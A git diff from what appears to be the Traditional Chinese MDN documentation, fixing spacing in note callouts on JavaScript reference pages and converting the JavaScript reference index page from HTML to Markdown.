會得到弧度單位,將弧度除以該數則會轉換回一般所用的角度單位。 -> **備註:**許多數學方法的精度是取決於實作方式的。這意味著不同的瀏覽器可能會得到不同的結果,甚至同一個 JS 引擎在不同的作業系統或架構上所得到的結果都有可能相異。 +> **備註:** 許多數學方法的精度是取決於實作方式的。這意味著不同的瀏覽器可能會得到不同的結果,甚至同一個 JS 引擎在不同的作業系統或架構上所得到的結果都有可能相異。 - {{jsxref("Global_Objects/Math/abs", "Math.abs(x)")}} - : 回傳 x 的絕對值。 diff --git a/files/zh-tw/web/javascript/reference/global_objects/math/random/index.md b/files/zh-tw/web/javascript/reference/global_objects/math/random/index.md index 89043017144dd6..4f5d3285a61a15 100644 --- a/files/zh-tw/web/javascript/reference/global_objects/math/random/index.md +++ b/files/zh-tw/web/javascript/reference/global_objects/math/random/index.md @@ -10,7 +10,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Math/random 函數 **`Math.random()`** 會回傳一個偽隨機小數 (pseudo-random) 介於 0 到 1 之間(包含 0,不包含 1) ,大致符合數學與統計上的均勻分佈 (uniform distribution) ,您可以選定想要的數字區間,它會透過演算法被產生並且不允許使用者自行跳選或重設成特定數字。{{EmbedInteractiveExample("pages/js/math-random.html")}} -> **備註:**`Math.random()` 所產生的偽隨機小數不符合加密學安全性要求。_請勿使用於任何加密、資安相關領域。_ +> **備註:** `Math.random()` 所產生的偽隨機小數不符合加密學安全性要求。_請勿使用於任何加密、資安相關領域。_ > > _如有加密需求建議參考 Web Crypto API_[`window.crypto.getRandomValues()`](/en-US/docs/Web/API/RandomSource/getRandomValues) diff --git a/files/zh-tw/web/javascript/reference/global_objects/object/defineproperty/index.md b/files/zh-tw/web/javascript/reference/global_objects/object/defineproperty/index.md index 9bfbf91a867e84..ac7bc3ac96fc94 100644 --- a/files/zh-tw/web/javascript/reference/global_objects/object/defineproperty/index.md +++ b/files/zh-tw/web/javascript/reference/global_objects/object/defineproperty/index.md @@ -7,7 +7,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Object/defineProperty 靜態方法 **`Object.defineProperty()`** 會直接對一個物件定義、或是修改現有的屬性。執行後會回傳定義完的物件。 -> **備註:**這個方法會直接針對 {{jsxref("Object")}} 呼叫建構子(constructor),而不是 `Object` 型別的實例。 +> **備註:** 這個方法會直接針對 {{jsxref("Object")}} 呼叫建構子(constructor),而不是 `Object` 型別的實例。 {{EmbedInteractiveExample("pages/js/object-defineproperty.html")}} diff --git a/files/zh-tw/web/javascript/reference/global_objects/promise/finally/index.md b/files/zh-tw/web/javascript/reference/global_objects/promise/finally/index.md index 673ea444df0cad..cb00acb15b443e 100644 --- a/files/zh-tw/web/javascript/reference/global_objects/promise/finally/index.md +++ b/files/zh-tw/web/javascript/reference/global_objects/promise/finally/index.md @@ -40,7 +40,7 @@ p.finally(function() { - 與 `Promise.resolve(2).then(() => {}, () => {})`(將被 resolved 為`undefined`)不同,`Promise.resolve(2).finally(() => {})` 將被 resolved 為`2`。 - 同樣的,與 `Promise.reject(3).then(() => {}, () => {})`(將 fulfilled 為`undefined`)不同,`Promise.reject(3).finally(() => {})` 將被 rejected 為`3`。 -> **備註:**在 finally 回呼中使用 throw (或回傳 rejected promise)會導致新的 promise 被 reject , reject 的原因則是呼叫 throw() 時所指定的值。 +> **備註:** 在 finally 回呼中使用 throw (或回傳 rejected promise)會導致新的 promise 被 reject , reject 的原因則是呼叫 throw() 時所指定的值。 ## Examples diff --git a/files/zh-tw/web/javascript/reference/global_objects/promise/index.md b/files/zh-tw/web/javascript/reference/global_objects/promise/index.md index 5a3e7c5a8aab9a..d7b8c342fbfddc 100644 --- a/files/zh-tw/web/javascript/reference/global_objects/promise/index.md +++ b/files/zh-tw/web/javascript/reference/global_objects/promise/index.md @@ -7,7 +7,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise **`Promise`** 物件代表一個即將完成、或失敗的非同步操作,以及它所產生的值。 -> **備註:**此條目為介紹 Promise 建構式。要瞭解 Promise 相關使用方式,請先參考[使用 Promise](/zh-TW/docs/Web/JavaScript/Guide/Using_promises)。Promise 建構式主要用於包裹尚未支援 Promise 的函式。 +> **備註:** 此條目為介紹 Promise 建構式。要瞭解 Promise 相關使用方式,請先參考[使用 Promise](/zh-TW/docs/Web/JavaScript/Guide/Using_promises)。Promise 建構式主要用於包裹尚未支援 Promise 的函式。 {{EmbedInteractiveExample("pages/js/promise-constructor.html")}} @@ -41,7 +41,7 @@ new Promise( /* executor */ function(resolve, reject) { ... } ); > **備註:** 許多其他語言擁有機制用來惰性求值(lazy evaluation)及延遲(deferring)運算,它們也被稱作“promises” — e.g. Scheme. 然而在 JavaScript 中 Promises 代表那些(已經)發生中(happening)的程序,它們可以繫結回呼函式。若您要找的是惰性求值表示式,考慮不帶參數的 [arrow function](/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions):`f = () => expression` 來建立惰性求值表示式,並透過 `f()` 進行求值. -> **備註:**一個被實現或拒絕,但不處於 pending 的 promise 被稱作被解決(settled)。您也會見到使用解決(resolved)一詞來描述 promises — 這代表 promises 被實現(fulfilled)了。[States and fates](https://github.com/domenic/promises-unwrapping/blob/master/docs/states-and-fates.md) 這篇文章包含了更多 promises 的專有名詞。 +> **備註:** 一個被實現或拒絕,但不處於 pending 的 promise 被稱作被解決(settled)。您也會見到使用解決(resolved)一詞來描述 promises — 這代表 promises 被實現(fulfilled)了。[States and fates](https://github.com/domenic/promises-unwrapping/blob/master/docs/states-and-fates.md) 這篇文章包含了更多 promises 的專有名詞。 ## 屬性 diff --git a/files/zh-tw/web/javascript/reference/global_objects/promise/then/index.md b/files/zh-tw/web/javascript/reference/global_objects/promise/then/index.md index 3ea5ded093a16b..0937427e543c62 100644 --- a/files/zh-tw/web/javascript/reference/global_objects/promise/then/index.md +++ b/files/zh-tw/web/javascript/reference/global_objects/promise/then/index.md @@ -7,7 +7,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/then **`then()` **方法回傳一個 {{domxref("Promise")}} 物件。它接收兩個引數: `Promise` 在成功及失敗情況時的回呼函式。 -> **備註:**如果有一個或兩個引數被省略,或為非函式(non-functions),則 `then` 將處於遺失 handler(s) 的狀態,但不會產生錯誤。若發起 `then` 之 `Promise` 採取了一個狀態(實現(`fulfillment)`或拒絕(`rejection))`而 `then` 沒有處理它的函式,一個不具有額外 handlers 的新 `Promise` 物件將被建立,單純採取原 `Promise` 其最終狀態。 +> **備註:** 如果有一個或兩個引數被省略,或為非函式(non-functions),則 `then` 將處於遺失 handler(s) 的狀態,但不會產生錯誤。若發起 `then` 之 `Promise` 採取了一個狀態(實現(`fulfillment)`或拒絕(`rejection))`而 `then` 沒有處理它的函式,一個不具有額外 handlers 的新 `Promise` 物件將被建立,單純採取原 `Promise` 其最終狀態。 ## 語法 diff --git a/files/zh-tw/web/javascript/reference/global_objects/set/has/index.md b/files/zh-tw/web/javascript/reference/global_objects/set/has/index.md index 4c9505243e61be..e458f30ef1cfd6 100644 --- a/files/zh-tw/web/javascript/reference/global_objects/set/has/index.md +++ b/files/zh-tw/web/javascript/reference/global_objects/set/has/index.md @@ -30,7 +30,7 @@ mySet.has(value); 回傳 `true` 如果給定值存在在 `Set` 物件中;反之回傳 `false` 。 -> **備註:**技術上來說,`has()` 使用了 [`sameValueZero`](/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness#Same-value-zero_equality) 算法來判斷給定元素的存在與否。 +> **備註:** 技術上來說,`has()` 使用了 [`sameValueZero`](/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness#Same-value-zero_equality) 算法來判斷給定元素的存在與否。 ## 範例 diff --git a/files/zh-tw/web/javascript/reference/global_objects/string/index.md b/files/zh-tw/web/javascript/reference/global_objects/string/index.md index 5aed4f110ecc51..574ac940ad7d5a 100644 --- a/files/zh-tw/web/javascript/reference/global_objects/string/index.md +++ b/files/zh-tw/web/javascript/reference/global_objects/string/index.md @@ -59,7 +59,7 @@ String(thing) | `\u{X}` ... `\u{XXXXXX}` | unicode 代碼 {{experimental_inline}} | | `\xXX` | Latin-1 字元 | -> **備註:**和其他語言不同,JavaScript 將單引號字串和雙引號字串是做相同;因此,上述的序列可以在單引號或雙引號中作用。 +> **備註:** 和其他語言不同,JavaScript 將單引號字串和雙引號字串是做相同;因此,上述的序列可以在單引號或雙引號中作用。 ### 長字面值字串 @@ -151,7 +151,7 @@ console.log(eval(s2)); // 回傳字串 "2 + 2" console.log(eval(s2.valueOf())); // 回傳數字 4 ``` -> **備註:**對於在 JavaScript 中其他可用的字串方法,請參閱這篇文章[`StringView` – a C-like representation of strings based on typed arrays](/en-US/docs/Web/JavaScript/Typed_arrays/StringView)。 +> **備註:** 對於在 JavaScript 中其他可用的字串方法,請參閱這篇文章[`StringView` – a C-like representation of strings based on typed arrays](/en-US/docs/Web/JavaScript/Typed_arrays/StringView)。 ## 屬性 diff --git a/files/zh-tw/web/javascript/reference/global_objects/string/replace/index.md b/files/zh-tw/web/javascript/reference/global_objects/string/replace/index.md index bcd220076230be..621170b2017268 100644 --- a/files/zh-tw/web/javascript/reference/global_objects/string/replace/index.md +++ b/files/zh-tw/web/javascript/reference/global_objects/string/replace/index.md @@ -7,7 +7,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/replace **`replace()`** 方法會傳回一個新字串,此新字串是透過將原字串與 `pattern` 比對,以 `replacement` 取代吻合處而生成。`pattern` 可以是字串或 {{jsxref("RegExp")}},而 `replacement` 可以是字串或函式(會在每一次匹配時被呼叫)。 -> **備註:**原始的字串會保持不變。 +> **備註:** 原始的字串會保持不變。 ## 語法 diff --git a/files/zh-tw/web/javascript/reference/index.html b/files/zh-tw/web/javascript/reference/index.html deleted file mode 100644 index 9a70e258395b01..00000000000000 --- a/files/zh-tw/web/javascript/reference/index.html +++ /dev/null @@ -1,366 +0,0 @@ ---- -title: JavaScript 參考文件 -slug: Web/JavaScript/Reference -tags: - - JavaScript - - NeedsTranslation -translation_of: Web/JavaScript/Reference ---- -
{{JsSidebar}}
- -

在 MDN 的 JavaScript 分區中,這一部分被作爲 Javascript 的資料庫。閱讀關於該參考以了解更多。

- -

全域物件

- -

本章節記錄了所有 JavaScript 標準內建物件 以及其方法與屬性。

- -

數值屬性

- -
    -
  • {{JSxRef("Infinity")}}
  • -
  • {{JSxRef("NaN")}}
  • -
  • {{JSxRef("undefined")}}
  • -
  • {{JSxRef("globalThis")}}
  • -
- -

函數屬性

- -
    -
  • {{JSxRef("Global_Objects/eval", "eval()")}}
  • -
  • {{JSxRef("Global_Objects/isFinite", "isFinite()")}}
  • -
  • {{JSxRef("Global_Objects/isNaN", "isNaN()")}}
  • -
  • {{JSxRef("Global_Objects/parseFloat", "parseFloat()")}}
  • -
  • {{JSxRef("Global_Objects/parseInt", "parseInt()")}}
  • -
  • {{JSxRef("Global_Objects/decodeURI", "decodeURI()")}}
  • -
  • {{JSxRef("Global_Objects/decodeURIComponent", "decodeURIComponent()")}}
  • -
  • {{JSxRef("Global_Objects/encodeURI", "encodeURI()")}}
  • -
  • {{JSxRef("Global_Objects/encodeURIComponent", "encodeURIComponent()")}}
  • -
- -

基礎物件

- -
    -
  • {{JSxRef("Object")}}
  • -
  • {{JSxRef("Function")}}
  • -
  • {{JSxRef("Boolean")}}
  • -
  • {{JSxRef("Symbol")}}
  • -
- -

Error

- -
    -
  • {{JSxRef("Error")}}
  • -
  • {{JSxRef("AggregateError")}}
  • -
  • {{JSxRef("EvalError")}}
  • -
  • {{JSxRef("InternalError")}}
  • -
  • {{JSxRef("RangeError")}}
  • -
  • {{JSxRef("ReferenceError")}}
  • -
  • {{JSxRef("SyntaxError")}}
  • -
  • {{JSxRef("TypeError")}}
  • -
  • {{JSxRef("URIError")}}
  • -
- -

數字與日期

- -
    -
  • {{JSxRef("Number")}}
  • -
  • {{JSxRef("BigInt")}}
  • -
  • {{JSxRef("Math")}}
  • -
  • {{JSxRef("Date")}}
  • -
- -

文字處理

- -
    -
  • {{JSxRef("String")}}
  • -
  • {{JSxRef("RegExp")}}
  • -
- -

具索引的集合

- -
    -
  • {{JSxRef("Array")}}
  • -
  • {{JSxRef("Int8Array")}}
  • -
  • {{JSxRef("Uint8Array")}}
  • -
  • {{JSxRef("Uint8ClampedArray")}}
  • -
  • {{JSxRef("Int16Array")}}
  • -
  • {{JSxRef("Uint16Array")}}
  • -
  • {{JSxRef("Int32Array")}}
  • -
  • {{JSxRef("Uint32Array")}}
  • -
  • {{JSxRef("Float32Array")}}
  • -
  • {{JSxRef("Float64Array")}}
  • -
  • {{JSxRef("BigInt64Array")}}
  • -
  • {{JSxRef("BigUint64Array")}}
  • -
- -

具鍵值的集合

- -
    -
  • {{JSxRef("Map")}}
  • -
  • {{JSxRef("Set")}}
  • -
  • {{JSxRef("WeakMap")}}
  • -
  • {{JSxRef("WeakSet")}}
  • -
- -

結構化資料

- -
    -
  • {{JSxRef("ArrayBuffer")}}
  • -
  • {{JSxRef("SharedArrayBuffer")}}
  • -
  • {{JSxRef("Atomics")}}
  • -
  • {{JSxRef("DataView")}}
  • -
  • {{JSxRef("JSON")}}
  • -
- -

控制抽象化物件

- -
    -
  • {{JSxRef("Promise")}}
  • -
  • {{JSxRef("Generator")}}
  • -
  • {{JSxRef("GeneratorFunction")}}
  • -
  • {{JSxRef("AsyncFunction")}}
  • -
- -

Reflection

- -
    -
  • {{JSxRef("Reflect")}}
  • -
  • {{JSxRef("Proxy")}}
  • -
- -

國際化

- -
    -
  • {{JSxRef("Intl")}}
  • -
  • {{JSxRef("Global_Objects/Collator", "Intl.Collator")}}
  • -
  • {{JSxRef("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}}
  • -
  • {{JSxRef("Global_Objects/ListFormat", "Intl.ListFormat")}}
  • -
  • {{JSxRef("Global_Objects/NumberFormat", "Intl.NumberFormat")}}
  • -
  • {{JSxRef("Global_Objects/PluralRules", "Intl.PluralRules")}}
  • -
  • {{JSxRef("Global_Objects/RelativeTimeFormat", "Intl.RelativeTimeFormat")}}
  • -
  • {{JSxRef("Global_Objects/Locale", "Intl.Locale")}}
  • -
- -

WebAssembly

- -
    -
  • {{JSxRef("WebAssembly")}}
  • -
  • {{JSxRef("WebAssembly.Module")}}
  • -
  • {{JSxRef("WebAssembly.Instance")}}
  • -
  • {{JSxRef("WebAssembly.Memory")}}
  • -
  • {{JSxRef("WebAssembly.Table")}}
  • -
  • {{JSxRef("WebAssembly.CompileError")}}
  • -
  • {{JSxRef("WebAssembly.LinkError")}}
  • -
  • {{JSxRef("WebAssembly.RuntimeError")}}
  • -
- -

敘述句

- -

本章節記錄了所有 JavaScript 敘述句與宣告

- -

流程控制

- -
    -
  • {{jsxref("Statements/block", "Block")}}
  • -
  • {{jsxref("Statements/break", "break")}}
  • -
  • {{jsxref("Statements/continue", "continue")}}
  • -
  • {{jsxref("Statements/Empty", "Empty")}}
  • -
  • {{jsxref("Statements/if...else", "if...else")}}
  • -
  • {{jsxref("Statements/switch", "switch")}}
  • -
  • {{jsxref("Statements/throw", "throw")}}
  • -
  • {{jsxref("Statements/try...catch", "try...catch")}}
  • -
- -

宣告

- -
    -
  • {{jsxref("Statements/var", "var")}}
  • -
  • {{jsxref("Statements/let", "let")}}
  • -
  • {{jsxref("Statements/const", "const")}}
  • -
- -

函數與類別

- -
    -
  • {{jsxref("Statements/function", "function")}}
  • -
  • {{jsxref("Statements/function*", "function*")}}
  • -
  • {{jsxref("Statements/async_function", "async function")}}
  • -
  • {{jsxref("Statements/return", "return")}}
  • -
  • {{jsxref("Statements/class", "class")}}
  • -
- -

迭代

- -
    -
  • {{jsxref("Statements/do...while", "do...while")}}
  • -
  • {{jsxref("Statements/for", "for")}}
  • -
  • {{jsxref("Statements/for_each...in", "for each...in")}}
  • -
  • {{jsxref("Statements/for...in", "for...in")}}
  • -
  • {{jsxref("Statements/for...of", "for...of")}}
  • -
  • {{jsxref("Statements/for-await...of", "for await...of")}}
  • -
  • {{jsxref("Statements/while", "while")}}
  • -
- -

Other

- -
    -
  • {{jsxref("Statements/debugger", "debugger")}}
  • -
  • {{jsxref("Statements/import", "import")}}
  • -
  • {{jsxref("Statements/label", "label")}}
  • -
  • {{jsxref("Statements/with", "with")}}
  • -
- -

表示法與運算子

- -

本章節記錄了所有 JavaScript 表示法與運算子

- -

主要運算式

- -
    -
  • {{JSxRef("Operators/this", "this")}}
  • -
  • {{JSxRef("Operators/function", "function")}}
  • -
  • {{JSxRef("Operators/class", "class")}}
  • -
  • {{JSxRef("Operators/function*", "function*")}}
  • -
  • {{JSxRef("Operators/yield", "yield")}}
  • -
  • {{JSxRef("Operators/yield*", "yield*")}}
  • -
  • {{JSxRef("Operators/async_function", "async function")}}
  • -
  • {{JSxRef("Operators/await", "await")}}
  • -
  • {{JSxRef("Global_Objects/Array", "[]")}}
  • -
  • {{JSxRef("Operators/Object_initializer", "{}")}}
  • -
  • {{JSxRef("Global_Objects/RegExp", "/ab+c/i")}}
  • -
  • {{JSxRef("Operators/Grouping", "( )")}}
  • -
  • {{JSxRef("null")}}
  • -
- -

左手邊運算式

- -
    -
  • {{JSxRef("Operators/Property_accessors", "Property accessors", "", 1)}}
  • -
  • {{JSxRef("Operators/new", "new")}}
  • -
  • {{JSxRef("Operators/new%2Etarget", "new.target")}}
  • -
  • {{JSxRef("Operators/super", "super")}}
  • -
  • {{JSxRef("Operators/Spread_syntax", "...obj")}}

  • -
- -

遞增與遞減

- -
    -
  • {{JSxRef("Operators/Arithmetic_Operators", "A++", "#Increment")}}
  • -
  • {{JSxRef("Operators/Arithmetic_Operators", "A--", "#Decrement")}}
  • -
  • {{JSxRef("Operators/Arithmetic_Operators", "++A", "#Increment")}}
  • -
  • {{JSxRef("Operators/Arithmetic_Operators", "--A", "#Decrement")}}
  • -
- -

一元運算子

- -
    -
  • {{JSxRef("Operators/delete", "delete")}}
  • -
  • {{JSxRef("Operators/void", "void")}}
  • -
  • {{JSxRef("Operators/typeof", "typeof")}}
  • -
  • {{JSxRef("Operators/Arithmetic_Operators", "+", "#Unary_plus")}}
  • -
  • {{JSxRef("Operators/Arithmetic_Operators", "-", "#Unary_negation")}}
  • -
  • {{JSxRef("Operators/Bitwise_Operators", "~", "#Bitwise_NOT")}}
  • -
  • {{JSxRef("Operators/Logical_Operators", "!", "#Logical_NOT")}}
  • -
- -

算術運算子

- -
    -
  • {{JSxRef("Operators/Arithmetic_Operators", "+", "#Addition")}}
  • -
  • {{JSxRef("Operators/Arithmetic_Operators", "-", "#Subtraction")}}
  • -
  • {{JSxRef("Operators/Arithmetic_Operators", "/", "#Division")}}
  • -
  • {{JSxRef("Operators/Arithmetic_Operators", "*", "#Multiplication")}}
  • -
  • {{JSxRef("Operators/Arithmetic_Operators", "%", "#Remainder")}}
  • -
  • {{JSxRef("Operators/Arithmetic_Operators", "**", "#Exponentiation")}}
  • -
- -

關係運算子

- -
    -
  • {{JSxRef("Operators/in", "in")}}
  • -
  • {{JSxRef("Operators/instanceof", "instanceof")}}
  • -
  • {{JSxRef("Operators/Comparison_Operators", "<", "#Less_than_operator")}}
  • -
  • {{JSxRef("Operators/Comparison_Operators", ">", "#Greater_than_operator")}}
  • -
  • {{JSxRef("Operators/Comparison_Operators", "<=", "#Less_than_or_equal_operator")}}
  • -
  • {{JSxRef("Operators/Comparison_Operators", ">=", "#Greater_than_or_equal_operator")}}
  • -
- -

相等運算子

- -
    -
  • {{JSxRef("Operators/Comparison_Operators", "==", "#Equality")}}
  • -
  • {{JSxRef("Operators/Comparison_Operators", "!=", "#Inequality")}}
  • -
  • {{JSxRef("Operators/Comparison_Operators", "===", "#Identity")}}
  • -
  • {{JSxRef("Operators/Comparison_Operators", "!==", "#Nonidentity")}}
  • -
- -

位元移位運算子

- -
    -
  • {{JSxRef("Operators/Bitwise_Operators", "<<", "#Left_shift")}}
  • -
  • {{JSxRef("Operators/Bitwise_Operators", ">>", "#Right_shift")}}
  • -
  • {{JSxRef("Operators/Bitwise_Operators", ">>>", "#Unsigned_right_shift")}}
  • -
- -

二元位元運算子

- -
    -
      -
    • {{JSxRef("Operators/Bitwise_Operators", "&", "#Bitwise_AND")}}
    • -
    • {{JSxRef("Operators/Bitwise_Operators", "|", "#Bitwise_OR")}}
    • -
    • {{JSxRef("Operators/Bitwise_Operators", "^", "#Bitwise_XOR")}}
    • -
    -
- -

二元邏輯運算子

- -
    -
  • {{JSxRef("Operators/Logical_Operators", "&&", "#Logical_AND")}}
  • -
  • {{JSxRef("Operators/Logical_Operators", "||", "#Logical_OR")}}
  • -
- -

條件(三元)運算子

- -
    -
  • {{JSxRef("Operators/Conditional_Operator", "(condition ? ifTrue : ifFalse)")}}
  • -
- -

賦值運算子

- -
    -
  • {{JSxRef("Operators/Assignment_Operators", "=", "#Assignment")}}
  • -
  • {{JSxRef("Operators/Assignment_Operators", "*=", "#Multiplication_assignment")}}
  • -
  • {{JSxRef("Operators/Assignment_Operators", "/=", "#Division_assignment")}}
  • -
  • {{JSxRef("Operators/Assignment_Operators", "%=", "#Remainder_assignment")}}
  • -
  • {{JSxRef("Operators/Assignment_Operators", "+=", "#Addition_assignment")}}
  • -
  • {{JSxRef("Operators/Assignment_Operators", "-=", "#Subtraction_assignment")}}
  • -
  • {{JSxRef("Operators/Assignment_Operators", "<<=", "#Left_shift_assignment")}}
  • -
  • {{JSxRef("Operators/Assignment_Operators", ">>=", "#Right_shift_assignment")}}
  • -
  • {{JSxRef("Operators/Assignment_Operators", ">>>=", "#Unsigned_right_shift_assignment")}}
  • -
  • {{JSxRef("Operators/Assignment_Operators", "&=", "#Bitwise_AND_assignment")}}
  • -
  • {{JSxRef("Operators/Assignment_Operators", "^=", "#Bitwise_XOR_assignment")}}
  • -
  • {{JSxRef("Operators/Assignment_Operators", "|=", "#Bitwise_OR_assignment")}}
  • -
  • {{JSxRef("Operators/Destructuring_assignment", "[a, b] = [1, 2]")}}
  • -
  • {{JSxRef("Operators/Destructuring_assignment", "{a, b} = {a:1, b:2}")}}
  • -
- - -

函數

- -

本章節說明如何使用 JavaScript 函數 來開發您的應用程式。

- - - -

其他參考頁面

- - diff --git a/files/zh-tw/web/javascript/reference/index.md b/files/zh-tw/web/javascript/reference/index.md new file mode 100644 index 00000000000000..c7aae29befb433 --- /dev/null +++ b/files/zh-tw/web/javascript/reference/index.md @@ -0,0 +1,299 @@ +--- +title: JavaScript 參考文件 +slug: Web/JavaScript/Reference +tags: + - JavaScript + - NeedsTranslation +translation_of: Web/JavaScript/Reference +--- +{{JsSidebar}} + +在 MDN 的 JavaScript 分區中,這一部分被作爲 Javascript 的資料庫。閱讀[關於該參考](/zh-TW/docs/Web/JavaScript/Reference/About)以了解更多。 + +## 全域物件 + +本章節記錄了所有 [JavaScript 標準內建物件](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects) 以及其方法與屬性。 + +### 數值屬性 + +- {{JSxRef("Infinity")}} +- {{JSxRef("NaN")}} +- {{JSxRef("undefined")}} +- {{JSxRef("globalThis")}} + +### 函數屬性 + +- {{JSxRef("Global_Objects/eval", "eval()")}} +- {{JSxRef("Global_Objects/isFinite", "isFinite()")}} +- {{JSxRef("Global_Objects/isNaN", "isNaN()")}} +- {{JSxRef("Global_Objects/parseFloat", "parseFloat()")}} +- {{JSxRef("Global_Objects/parseInt", "parseInt()")}} +- {{JSxRef("Global_Objects/decodeURI", "decodeURI()")}} +- {{JSxRef("Global_Objects/decodeURIComponent", "decodeURIComponent()")}} +- {{JSxRef("Global_Objects/encodeURI", "encodeURI()")}} +- {{JSxRef("Global_Objects/encodeURIComponent", "encodeURIComponent()")}} + +### 基礎物件 + +- {{JSxRef("Object")}} +- {{JSxRef("Function")}} +- {{JSxRef("Boolean")}} +- {{JSxRef("Symbol")}} + +### Error + +- {{JSxRef("Error")}} +- {{JSxRef("AggregateError")}} +- {{JSxRef("EvalError")}} +- {{JSxRef("InternalError")}} +- {{JSxRef("RangeError")}} +- {{JSxRef("ReferenceError")}} +- {{JSxRef("SyntaxError")}} +- {{JSxRef("TypeError")}} +- {{JSxRef("URIError")}} + +### 數字與日期 + +- {{JSxRef("Number")}} +- {{JSxRef("BigInt")}} +- {{JSxRef("Math")}} +- {{JSxRef("Date")}} + +### 文字處理 + +- {{JSxRef("String")}} +- {{JSxRef("RegExp")}} + +### 具索引的集合 + +- {{JSxRef("Array")}} +- {{JSxRef("Int8Array")}} +- {{JSxRef("Uint8Array")}} +- {{JSxRef("Uint8ClampedArray")}} +- {{JSxRef("Int16Array")}} +- {{JSxRef("Uint16Array")}} +- {{JSxRef("Int32Array")}} +- {{JSxRef("Uint32Array")}} +- {{JSxRef("Float32Array")}} +- {{JSxRef("Float64Array")}} +- {{JSxRef("BigInt64Array")}} +- {{JSxRef("BigUint64Array")}} + +### 具鍵值的集合 + +- {{JSxRef("Map")}} +- {{JSxRef("Set")}} +- {{JSxRef("WeakMap")}} +- {{JSxRef("WeakSet")}} + +### 結構化資料 + +- {{JSxRef("ArrayBuffer")}} +- {{JSxRef("SharedArrayBuffer")}} +- {{JSxRef("Atomics")}} +- {{JSxRef("DataView")}} +- {{JSxRef("JSON")}} + +### 控制抽象化物件 + +- {{JSxRef("Promise")}} +- {{JSxRef("Generator")}} +- {{JSxRef("GeneratorFunction")}} +- {{JSxRef("AsyncFunction")}} + +### Reflection + +- {{JSxRef("Reflect")}} +- {{JSxRef("Proxy")}} + +### 國際化 + +- {{JSxRef("Intl")}} +- {{JSxRef("Global_Objects/Collator", "Intl.Collator")}} +- {{JSxRef("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}} +- {{JSxRef("Global_Objects/ListFormat", "Intl.ListFormat")}} +- {{JSxRef("Global_Objects/NumberFormat", "Intl.NumberFormat")}} +- {{JSxRef("Global_Objects/PluralRules", "Intl.PluralRules")}} +- {{JSxRef("Global_Objects/RelativeTimeFormat", "Intl.RelativeTimeFormat")}} +- {{JSxRef("Global_Objects/Locale", "Intl.Locale")}} + +### WebAssembly + +- {{JSxRef("WebAssembly")}} +- {{JSxRef("WebAssembly.Module")}} +- {{JSxRef("WebAssembly.Instance")}} +- {{JSxRef("WebAssembly.Memory")}} +- {{JSxRef("WebAssembly.Table")}} +- {{JSxRef("WebAssembly.CompileError")}} +- {{JSxRef("WebAssembly.LinkError")}} +- {{JSxRef("WebAssembly.RuntimeError")}} + +## 敘述句 + +本章節記錄了所有 [JavaScript 敘述句與宣告](/zh-TW/docs/Web/JavaScript/Reference/Statements)。 + +### 流程控制 + +- {{jsxref("Statements/block", "Block")}} +- {{jsxref("Statements/break", "break")}} +- {{jsxref("Statements/continue", "continue")}} +- {{jsxref("Statements/Empty", "Empty")}} +- {{jsxref("Statements/if...else", "if...else")}} +- {{jsxref("Statements/switch", "switch")}} +- {{jsxref("Statements/throw", "throw")}} +- {{jsxref("Statements/try...catch", "try...catch")}} + +### 宣告 + +- {{jsxref("Statements/var", "var")}} +- {{jsxref("Statements/let", "let")}} +- {{jsxref("Statements/const", "const")}} + +### 函數與類別 + +- {{jsxref("Statements/function", "function")}} +- {{jsxref("Statements/function*", "function*")}} +- {{jsxref("Statements/async_function", "async function")}} +- {{jsxref("Statements/return", "return")}} +- {{jsxref("Statements/class", "class")}} + +### 迭代 + +- {{jsxref("Statements/do...while", "do...while")}} +- {{jsxref("Statements/for", "for")}} +- {{jsxref("Statements/for_each...in", "for each...in")}} +- {{jsxref("Statements/for...in", "for...in")}} +- {{jsxref("Statements/for...of", "for...of")}} +- {{jsxref("Statements/for-await...of", "for await...of")}} +- {{jsxref("Statements/while", "while")}} + +### Other + +- {{jsxref("Statements/debugger", "debugger")}} +- {{jsxref("Statements/import", "import")}} +- {{jsxref("Statements/label", "label")}} +- {{jsxref("Statements/with", "with")}} + +## 表示法與運算子 + +本章節記錄了所有 [JavaScript 表示法與運算子](/zh-TW/docs/Web/JavaScript/Reference/Operators)。 + +### 主要運算式 + +- {{JSxRef("Operators/this", "this")}} +- {{JSxRef("Operators/function", "function")}} +- {{JSxRef("Operators/class", "class")}} +- {{JSxRef("Operators/function*", "function*")}} +- {{JSxRef("Operators/yield", "yield")}} +- {{JSxRef("Operators/yield*", "yield*")}} +- {{JSxRef("Operators/async_function", "async function")}} +- {{JSxRef("Operators/await", "await")}} +- {{JSxRef("Global_Objects/Array", "[]")}} +- {{JSxRef("Operators/Object_initializer", "{}")}} +- {{JSxRef("Global_Objects/RegExp", "/ab+c/i")}} +- {{JSxRef("Operators/Grouping", "( )")}} +- {{JSxRef("null")}} + +### 左手邊運算式 + +- {{JSxRef("Operators/Property_accessors", "Property accessors", "", 1)}} +- {{JSxRef("Operators/new", "new")}} +- {{JSxRef("Operators/new%2Etarget", "new.target")}} +- {{JSxRef("Operators/super", "super")}} +- {{JSxRef("Operators/Spread_syntax", "...obj")}} + +### 遞增與遞減 + +- {{JSxRef("Operators/Arithmetic_Operators", "A++", "#Increment")}} +- {{JSxRef("Operators/Arithmetic_Operators", "A--", "#Decrement")}} +- {{JSxRef("Operators/Arithmetic_Operators", "++A", "#Increment")}} +- {{JSxRef("Operators/Arithmetic_Operators", "--A", "#Decrement")}} + +### 一元運算子 + +- {{JSxRef("Operators/delete", "delete")}} +- {{JSxRef("Operators/void", "void")}} +- {{JSxRef("Operators/typeof", "typeof")}} +- {{JSxRef("Operators/Arithmetic_Operators", "+", "#Unary_plus")}} +- {{JSxRef("Operators/Arithmetic_Operators", "-", "#Unary_negation")}} +- {{JSxRef("Operators/Bitwise_Operators", "~", "#Bitwise_NOT")}} +- {{JSxRef("Operators/Logical_Operators", "!", "#Logical_NOT")}} + +### 算術運算子 + +- {{JSxRef("Operators/Arithmetic_Operators", "+", "#Addition")}} +- 